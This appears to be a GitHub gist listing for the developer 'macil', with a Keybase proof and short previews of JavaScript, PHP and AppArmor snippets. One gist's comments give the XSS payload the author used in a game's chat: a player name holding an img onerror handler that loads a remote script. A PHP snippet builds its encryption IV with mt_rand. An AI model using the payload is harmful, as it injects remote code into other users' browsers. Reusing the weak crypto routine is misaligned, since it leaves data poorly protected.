I hereby claim:
- I am macil on github.
- I am macil (https://keybase.io/macil) on keybase.
- I have a public key ASCdSs0kwynStovfiulSBV6G5PcQhbDC--cWtrV-a5g28Qo
To claim this, I am signing this object:
| //% https://twitter.com/macil_tech/status/1454234094888370177 | |
| //% This was the code I wrote for that. | |
| //% All comments starting with //% are edits I've made now to explain the original code. | |
| //% The code is pretty specific to the situation was used on, so don't expect to find code | |
| //% that's directly useful for other tasks here. You probably wouldn't want to actually | |
| //% implement game chat in a game in the way it's done here, etc. | |
| //% So this file was saved as "x.js" on and available on the domain I had back then. | |
| //% I would inject the code by joining the game with my name set to this: | |
| //% Macil<img src onerror="$.getScript('//example.com/x.js?1')"> |
I hereby claim:
To claim this, I am signing this object:
| 'use strict'; | |
| const Kefir = require('kefir'); | |
| // fetch takes a url string, pretends to fetch it over the network, and returns | |
| // a Kefir stream that emits a Page object when it's done, and then the stream | |
| // ends. | |
| function fetch(url) { | |
| let links; | |
| switch (url) { | |
| case 'foo.com': links = ['bar.com', 'baz.com']; break; |
| async function loadInContentScript(url) { | |
| // Note that this extension must either have permission to the domain of this | |
| // URL, or the URL must be served with the correct CORS HTTP headers to allow | |
| // this script to fetch it (ie. "Access-Control-Allow-Origin: *"). | |
| const response = await fetch(url); | |
| const scriptText = await response.text(); | |
| // Let Chrome devtools know where this code came from. | |
| const codeToRun = scriptText + "\n//# sourceURL=" + url + "\n"; |
| // This code is assumed to be part of one of the extension's content scripts | |
| function addIframe() { | |
| const iframe = document.createElement('iframe'); | |
| iframe.addEventListener('load', () => { | |
| iframe.contentWindow.postMessage({ | |
| eventName: 'init', | |
| iframeSrc: 'https://xkcd.com/' // whatever url you want. Probably will be a URL to your own domain in practice | |
| }, '*'); | |
| }, false); |
| function evalFromUrl(code, url) { | |
| // jshint evil:true | |
| // Q: Why put the code into a function before executing it instead of | |
| // evaling it immediately? | |
| // A: Chrome would execute it before applying any remembered | |
| // breakpoints. | |
| // Q: Why not just use `... = new Function(...)`? | |
| // A: The sourcemaps would be off by one line in Chrome because of | |
| // https://code.google.com/p/chromium/issues/detail?id=109362 |
| (function(exports) { | |
| function nop() {} | |
| // IE doesn't always have console, place a no-op shim for it. | |
| if (!window.console) { | |
| window.console = {log: nop, info: nop, warn: nop, error: nop}; | |
| } | |
| // Transforms an Error to a simple object that can be JSONified. | |
| function error_to_object(error) { |
| <?php | |
| function get_rnd_iv($iv_len) { | |
| $iv = ''; | |
| while ($iv_len-- > 0) { | |
| $iv .= chr(mt_rand() & 0xff); | |
| } | |
| return $iv; | |
| } | |
| function md5_encrypt($plain_text, $password, $iv_len = 16, $iv_init = false) { |
| #include <tunables/global> | |
| /usr/bin/skype { | |
| #include <abstractions/base> | |
| #include <abstractions/user-tmp> | |
| #include <abstractions/audio> | |
| #include <abstractions/nameservice> | |
| #include <abstractions/ssl_certs> | |
| #include <abstractions/fonts> | |
| #include <abstractions/ibus> | |
| #include <abstractions/dbus> |